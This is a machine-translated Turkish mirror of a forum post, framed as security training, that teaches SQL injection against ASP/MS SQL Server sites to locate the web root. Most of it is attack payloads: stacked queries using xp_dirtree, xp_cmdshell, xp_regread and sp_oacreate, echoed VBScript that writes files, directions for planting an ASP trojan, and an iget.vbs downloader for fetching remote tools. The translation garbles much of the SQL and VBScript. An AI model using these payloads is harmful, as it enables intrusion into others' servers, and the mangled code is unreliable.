Bu makale makine çevirisi ayna makalesidir, orijinal makaleye geçmek için lütfen buraya tıklayın.

Görünüm: 11906|Yanıt: 0

[Güvenlik Eğitimi] Tam web sitesi yolunu elde etmek için SQL enjeksiyonu

[Bağlantıyı kopyala]
Yayınlandı 7.02.2015 22:19:16 | | |
Tam web sitesi yolunu elde etmek için SQL enjeksiyonu

Web sitesinde sadece 80 port varsa, aşağıdaki yöntemler daha faydalı olacaktır
Kullanılan yöntemlerin neredeyse tamamı benim keşfettiklerim değil ve makale her zaman enjeksiyon sırasında kişisel deneyim ve beceriler içerir
4 yöntem var (şimdi biliniyor)

İlk yöntem:

Bu, < > yılında <怪异的SQL注入>tanıtılan yöntemdir
SQL Server'ın xp_dirtree kullanarak önce yöntemden bahsedelim, ardından avantajları ve dezavantajlarından bahsedelim (bazı eklemeler orijinal metne göre yapılmıştır)

Tablolar oluşturun

Açıklama:http://www.xxxxx.com/down/list.asp?id=1;create  tablo dirs(paths varchar(1000))--
Geri: Normal bilgi! Bu, tablonun başarıyla oluşturulduğu anlamına gelir! Devam et!
(Oluşturulan dosya orijinalinden biraz daha büyük, çünkü uzun isimli bir dosyayla karşılaştım ve işe yaramaz olduğu için kimliği sildim)

Açıklama:http://www.xxxxx.com/down/list.asp?id=1;insert  dirs yöneticisi master.dbo.xp_dirtree 'c:\' --
Dönüşler: Normal bilgiler. Bu, C sürücüsüne yazılmış tüm dizinlerin başarılı olduğu anlamına gelir! Harika! Sonraki adım sayaç almaktır! İhlal et ve çık. (Görünüşe göre bunu yapmanın tek bir yolu var)

Açıklama:http://www.xxxxx.com/down/list.asp?id=1  ve 0<>(dirs'ten en iyi 1 yolu seç)-
Returns: Microsoft OLE DB Provider for SQL Server error 80040e07
Sözdizimi hatası, varchar değeri '@Inetpub' veri tipi int olan bir sütuna dönüştürülürken meydana gelir.

Sonra tablodaki dizin isimleri sırayla ortaya çıkıyor!

Açıklama:http:// http://www.xxxxx.com/down/list.asp?id=1  ve 0<>(en iyi 1 yolu seç
Yolların girmediği dirs( '@Inetpub'))--
Returns: Microsoft OLE DB Provider for SQL Server error 80040e07
Varchar değeri 'test' veri tipi int olan bir sütuna dönüştürülürken sözdizimi hatası meydana geldi.

Sonra tablodaki dizin isimleri sırayla ortaya çıkıyor!
Tamam, devam edelim

Açıklama:http:// http://www.xxxxx.com/down/list.asp?id=1  ve 0<>(en iyi 1 yolu seç
yolların girmediği dirs( '@Inetpub','test'))--
Returns: Microsoft OLE DB Provider for SQL Server error 80040e07
Sözdizimi hatası, varchar değeri 'haha' veri tipi int olan bir sütuna dönüştürülürken ortaya çıkar.

Sonra tablodaki dizin isimleri sırayla ortaya çıkıyor!

Tamam, nasıl yapılacağını bilmelisin, haha, sadece o parantez içine aldığın tablonun adını ekle, istediğin kadar koy,

Küçük bir numara:

Bazen girdi benzer olduğunda bunu göreceksiniz

http://www.xxxxx.com/down/list.asp?id=1  ve 0<>(dirs'ten en iyi 1 yolu seç)-

Hata göstermek yerine, web sayfası normal şekilde görüntülenir
Başım döndü, endişelenme
0<> (dirs'den en üst 1 yolu seçin) bakarak dönüşün bir sayı olduğunu gösterin,
Haha, deneyin ve ne kadar olduğunu görün

100>(dirs'ten en iyi 1 yolu seç)

Normale dönüş
Haha, bu yöntemle hızlıca tahmin edebilirsiniz
Tamam, devam edelim
Örneğin, ortaya çıktığında

59=(dirs'den ilk 1 yolu seç)

Normale dön,
tamam, isim 59
Aşağıdaki şekilde girin

http:// http://www.xxxxx.com/down/list.asp?id=1  ve 0<>(en iyi 1 yolu seç
Yolların olmadığı dirs ('59'))--

Tırnak işareti koymayı unutmayın
Aşağıdaki yöntem orijinal yöntemle aynıdır
Bir sorun da var
Bazen yukarıdaki yöntemle 59'a girerken, sonraki klasörün hâlâ 59 olduğunu fark ediyorum
Ne var ne yok?
Hehe, 059 ve 59'un aynı olduğunu fark ettin mi?
İşte bu yüzden haha,

http:// http://www.xxxxx.com/down/list.asp?id=1  ve 0<>(en iyi 1 yolu seç
yolların olmadığı dirs('059'))--

Bir sonraki klasör adının gösterildiğini gördüm, tamam

Avantaj ve dezavantajların analizi:

Avantajı, tüm sqlserver kullanıcılarının bunu kullanabilmesi, çünkü xp_dirtree PUBLIC izni uygular,
Dezavantajı ise dizindeki tüm klasörlerin isimlerini göstermesi ve düzenin sırasız görünmesi; kısacası, binlerce ya da on binlerce klasörde istediğiniz klasörü bulmak acı verici.
Ve biliyorsunuz ki o klasörün kök dizininde olması garanti değil, ki bu gerçekten acı verici bir şey, çoğu zaman şans ve dayanıklılık meselesi.
Sana başarılar diliyorum

Yöntem 2:

Kullanın xp_cmdshell

Haha, herkes buna aşina olmalı, kısaca söyleyeyim.

Tablolar oluşturun

Açıklama:http://www.xxxxx.com/down/list.asp?id=1;create  tablo dirs(paths varchar(1000))--
Geri: Normal bilgi! Bu, tablonun başarıyla oluşturulduğu anlamına gelir! Devam et!
(Yaptığı orijinalinden biraz daha büyük, çünkü uzun isimli bir dosyayla karşılaştım ve o kimliği silladım çünkü işe yaramıyor.)

Açıklama:http://www.xxxxx.com/down/list.asp?id=1;insertdirs exec master.dbo.xp_cmdshell 'dir' c:\ /B/D' --
Dönüşler: Normal bilgiler. Bu, C sürücüsüne yazılmış tüm dizinlerin başarılı olduğu anlamına gelir! dir c:\ /B/D burada kullanılıyor, haha, /B/D'nin ne yaptığını bilmiyorsanız, ne işe yaradığını görmeye çalışın

Açıklama:http://www.xxxxx.com/down/list.asp?id=1  ve 0<>(dirs'ten en iyi 1 yolu seç)-
Returns: Microsoft OLE DB Provider for SQL Server error 80040e07
Sözdizimi hatası, varchar değeri '@Inetpub' veri tipi int olan bir sütuna dönüştürülürken meydana gelir.

Sonra tablodaki dizin isimleri sırayla ortaya çıkıyor!

Açıklama:http:// http://www.xxxxx.com/down/list.asp?id=1  ve 0<>(en iyi 1 yolu seç
Yolların girmediği dirs( '@Inetpub'))--
Returns: Microsoft OLE DB Provider for SQL Server error 80040e07
Varchar değeri 'test' veri tipi int olan bir sütuna dönüştürülürken sözdizimi hatası meydana geldi.

Sonra tablodaki dizin isimleri sırayla ortaya çıkıyor!

Yöntem yukarıdakiyle aynı, bu yüzden bahsetmeyeceğim

Bazen aşağıdaki iki uzantıyla da bir şeyler yapabiliriz.

1) Tüm mevcut sürücüleri almak ve dirs tablosunda kaydetmek için xp_availablemedia avantajını kullanabiliriz:

5 ; Dirs yönetici master.dbo.xp_availablemedia; --

Disklerin listesini ve ilgili bilgileri geçici içerik sorgulayarak elde edebiliriz

(2) xp_subdirs kullanarak alt dizinlerin listesini alabilir ve dirs tablosunda depolayabiliriz:

5 ; dirs icra master.dbo.xp_subdirs 'c:\' ; --

Avantaj ve dezavantajların analizi:

Elbette, tüm dizinlerin bir araya getirildiği xp_dirtree sadece birinci seviye dizin gösterilecek ve bu da çok daha kolay bululacak.
Dezavantajları da açık, sadece SA bu izne sahip ve ayrıca yöneticinin bu uzantı silmiş olması da mümkündü (sonuçta çok güçlü).

Yöntem 3:

Bu yaklaşım iyidir
Aşağıda orijinal metin yer almaktadır
Adsutil.vbs programını kullanmayı düşündüm ve onu çalıştırdım

a'; Yönetici Üsta.. xp_cmdshell 'cmd /c cscript c:\inetpub\adminscrips\adsutil.vbs enum w3svc/1/root>a.txt'; --

Uzun değil mi? Bu sayede IIS'te ilk sanal web sitesini kurabiliyoruz (tabii ki bulunduğu gerçek dizin dahil)
İçe aktarma a.txt
a.txt'nin gerçek konumu için varsayılan olarak c:\winnt\system32'dir, bu aslında sorun değildir, ancak adsutil.vbs ayarları yapan bir yöneticiyle karşılaştığımızda
Sil ya da başka bir yere koy
Bunun için hiçbir şey yapamayız (echo komutuyla kendiniz yazamazsınız)

Adım 2: Echo komutunu kullanarak aşağıdaki kodu c:\ içine yazabilirsiniz, ki bu çok fazla değildir

..... xp_cmdshell 'echo set fso1=createobject("scripting.filesystemobject">c:\read.vbs'; --
..... xp_cmdshell 'echo Set WshShell = Wscript.createObject("Wscript.Shell">>c:\read.vbs'
; --
.....
-------------------read.vbs---------------------------------
set fso1=createobject("scripting.filesystemobject"
Set WshShell = Wscript.createObject("Wscript.Shell"
spa=WshShell.Environment("process"("windir"
set fil =fso1.opentextfile(spa & "\system32\aa.txt"
Fil.atendofstream yapmazken yapın
nr=fil.readline
eğer left(nr,4)="Yol" o zaman
pa=mid(nr,instr(nr,"" 3,len(nr)-instr(nr,""-3)
çıkış
biter if
döngü
set fil1 =fso1.opentextfile(pa &"\dd.asp",2,true)
fil1.writeline ""
---------------buradan kes-------------------------------------

Adım 3: Tabii ki, read.vbs'i çalıştırmak için, böylece içeriği aa.txt okuyup sitenin gerçek yolunu bulabiliyoruz
Sonra web sitesinin kök dizinine dd.asp adlı bir dosya yazın ve başarılı bir şekilde deneyip deneyemeyeceğinizi anlarsınız
Yürütmekhttp://x.x.x.x/dd.asp
Dönüşler: \xxx
Haha, iyi bir yol,
Ancak, orijinal metinde bazı sorunlar var gibi görünüyor
Evet, öyle

set fil =fso1.opentextfile(spa %2B "\system32\aa.txt"
set fil1 =fso1.opentextfile(pa%2B"\dd.asp",2,true)

Hata, iki cümle gönderildiğinde ortaya çıkar
Böylece artı işaretini geliştirdik, bu da & ile aynı fonksiyona sahiptir
Peki dd.asp hakkında ne yazmalı? Baba'ya yaz, haha
Haha, değiştirdim

-------------------read.vbs---------------------------------
set fso1=createobject("scripting.filesystemobject"
Set WshShell = Wscript.createObject("Wscript.Shell"
spa=WshShell.Environment("process"("windir"
set fil =fso1.opentextfile(spa "\system32\aa.txt"
Fil.atendofstream yapmazken yapın
nr=fil.readline
eğer left(nr,4)="Yol" o zaman
pa=mid(nr,instr(nr,"" 3,len(nr)-instr(nr,""-3)
çıkış
biter if
döngü
set fil1 =fso1.opentextfile(pa "\dd.asp",2,true)
fil1.writeline pa
---------------buradan kes--------------------------------------
Tarayıcıda gönderirken zaman sayısı bir uzaya dönüştürüldüğünden, ayrıca
%2B oluyor, tamam, sorun olmaz, aşağıdaki gibi
-------------------read.vbs---------------------------------
set fso1=createobject("scripting.filesystemobject"
Set WshShell = Wscript.createObject("Wscript.Shell"
spa=WshShell.Environment("process"("windir"
set fil =fso1.opentextfile(spa %2B "\system32\aa.txt"
Fil.atendofstream yapmazken yapın
nr=fil.readline
eğer left(nr,4)="Yol" o zaman
pa=mid(nr,instr(nr,"" 3,len(nr)-instr(nr,""-3)
çıkış
biter if
döngü
set fil1 =fso1.opentextfile(pa %2B "\dd.asp",2,true)
fil1.writeline pa
---------------buradan kes--------------------------------------

1'in olmadığını bulursak, 2, 3, 4 olabiliriz...........

a'; Yönetici Üsta.. xp_cmdshell 'cmd /c cscript c:\inetpub\adminscrips\adsutil.vbs enum w3svc/2/root>a.txt'; --

Ancak bu yöntem sadece Windows 2000 altında kullanılabilir, çünkü 2003 altında yeni oluşturulan web sitelerinin adresleri 1234'e göre düzenlenmemiş, rastgele oluşturulmuş gibi görünüyor ve 2003 altında birkaç web adresini karşılaştırdım
adres olarak herhangi bir düzen bulunamadı.

Avantaj ve dezavantajların analizi:

Aynı şekilde xp_cmdshell Her kullanıcı kullanamaz! Bir diğer sorun ise, adsutil dosyasının mutlaka var olmaması ya da mutlaka o yolda olmaması; ancak isterseniz kullanabileceğiniz bir durum
Echo bir tane yazıyor (haha, eski ve eski), ve bir diğer soru şu: Ya ev sahibi üzerinde birçok site varsa? Dokuz sitesi olan bir ev sahibiyle tanıştım ve sadece sekizincisi faydalı
Evet, zayıf, kimsenin bu kadar ısrar edecek sabrı zor, belki de çoktan çökmüştür. Ayrıca, 2003'te kullanılamaz!
Ama dürüst olmak gerekirse, bu yöntem gerçekten iyi bir yöntem

Yöntem 4:

Bu yöntem, kayıt defterinden xp_regread gibi yolları okumaktır
Web sayfası yolunu elde etmek için aşağıdaki uygulamalar önerilir (kayıt defterini kayıtlı prosedürler üzerinden okuyun):
Yerleşik kayıtlı prosedürü kullanın xp_regread (kayıt anahtarını okuyun, izin açık verin):

Açıklama: http://www.xxx.com/list.asp?classid=1; create TABLE newtable(id int IDENTITY(1,1),paths varchar(500)) Declare@test
Varchar(20) Yönetici Usta.. xp_regread @rootkey= HKEY_LOCAL_MACHINE , @key=
SYSTEM\CurrentControlSet\Services\W3SVC\Parameters\Virtual Roots\ , @value_name= / , values=@test ÇIKIŞ yollara ekle
(yol) değerleri(@test)

IIS varsayılan yolu kayıt defterinde HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W3SVC\Parameters\Virtual Roots\
Veritabanının değerini okumak için burst alanını kullanın:

Açıklama: http://www.xxx.com/list.asp?classid=1 ve 0<>(newtable'dan en iyi 1 yolu seç)--return: Microsoft OLE DB Provider için
ODBC Drivers error 80040e07 [Microsoft][ODBC SQL Server Driver][SQL Server] varchar değeri E:\www,,201'i int veri türüne dönüştürür
Sütun.

Bu, web sayfası dizininin E:\www içinde olduğu anlamına gelir ve FSO ile doğrudan ASP Trojan'a yazabilirsiniz
Ya bir web dizini bulamazsanız? Web sitesinin varsayılan WEB mi yoksa alan adı mı kullandığını tahmin etmeniz gerekir.

declare @o int exec sp_oacreate wscript.shell , @o out exec sp_oamethod @o, run , NULL,' cscript.exe c:
\inetpub\wwwroot\mkwebdir.vbs -w "default website" -v "e","e:\"'

Varsayılan WEB sitesinde E: diskin altında E'ye işaret ederek sanal bir dizin E oluşturun.

declare @o int exec sp_oacreate wscript.shell , @o out exec sp_oamethod @o, run , NULL,' cscript.exe c:
\inetpub\wwwroot\chaccess.vbs -a w3svc/1/ROOT/e browse'

Sanal dizine gezinme özellikleri eklemek iyidir. Kendin için sanal bir hizmet aç. O web sayfası dizin yollarını düşündüğümde kafam neredeyse kırılıyor. Şimdi gözlerimi açtım. Bu, MS kullanan WEBSHELL
SQL işimizin sonu ve bir sonraki iş sizin olmalı.
Haha, yöntem iyi, kayıt formunda oku, pratik ve hızlı!

Avantaj ve dezavantajların analizi:

Avantajı ise, elbette kullanışlı ve hızlı olmasıdır. Dezavantajı ise sadece varsayılan IIS sitesinin yolunu görebilmeniz ve artık varsayılan site değilse yapabileceğiniz bir şey yok (ben bunu regsnape ile takip ettim), eğer 2003'ün altındaysanız
Yani, varsayılan site yolu bile gösterilmiyor! Acı içinde

Bu arada, aslında web sitesi yolunu bulmanın dışında müdahaleyi sürdürmenin başka yolları da var; örneğin tftp üzerinden zıplayan Trojanı yüklemek veya istediğiniz dongdong'u indirmek için iget.vbs yazmak
iget.vbs kodu şöyledir:

---------Başla----------
Set xPost = createObject("Microsoft.XMLHTTP"
xPost.Open "GET",LCase(WScript.Arguments(0)),0
xPost.Send()
Set sGet = createObject("ADODB. Stream"
sGet.Mode = 3
sGet.Type = 1
sGet.Open()
sGet.Write(xPost.responseBody)
sGet.SaveToFile LCase(WScript.Arguments(1)),2
----------son-----------

Bu makaleye ek olarak:

Son zamanlarda, Başkan Mao'nun talimatlarını yeterince derin anlamadığımı fark ettim ve burada eklemek istiyorum
Aslında, yukarıdaki yöntemlerin karşılaştırılmasına hiç gerek yok xp_dirtree en iyileri, yeter ki bu tek yöntem yeterli olsun
Sadece çok ..............
Bugün xp_dirtree sırrını tekrar ortaya çıkaracağım
Tamam, yönetici ustası olalım: xp_dirtree'd:/test'
Diyelim ki test'te iki klasörümüz var: test1 ve test2, test1'de ise test3
Sonuçlar gösteriyor

alt dizin derinliği
test1 1
test3 2
test2 1

Haha, dizinin serisinde bir derinlik olmadığını fark ettim
Tamam, ne yapacağını bil

http://www.xxxxx.com/down/list.asp?id=1;create  tablo dirs(paths varchar(1000),id int)--
http://www.xxxxx.com/down/list.asp?id=1;insert  dirs yöneticisi master.dbo.xp_dirtree 'd:\' --
http://www.xxxxx.com/down/list.asp?id=1  ve 0<>(dir'lerden ilk 1 yolu seçin burada id=1)-

id=1 eklenirse, birinci seviye dizin olur.





Önceki:Müdahale Penetrasyonu: HTTP başlıklarının uygulanması
Önümüzdeki:Alipay transfer ekran görüntüleri tek tıklamayla oluşturulur
Feragatname:
Code Farmer Network tarafından yayımlanan tüm yazılım, programlama materyalleri veya makaleler yalnızca öğrenme ve araştırma amaçları içindir; Yukarıdaki içerik ticari veya yasa dışı amaçlarla kullanılamaz, aksi takdirde kullanıcılar tüm sonuçları ödemelidir. Bu sitedeki bilgiler internetten alınmakta olup, telif hakkı anlaşmazlıklarının bu siteyle hiçbir ilgisi yoktur. Yukarıdaki içeriği indirmeden sonraki 24 saat içinde bilgisayarınızdan tamamen silmelisiniz. Programı beğendiyseniz, lütfen orijinal yazılımı destekleyin, kayıt satın alın ve daha iyi orijinal hizmetler alın. Herhangi bir ihlal olursa, lütfen bizimle e-posta yoluyla iletişime geçin.

Mail To:help@itsvse.com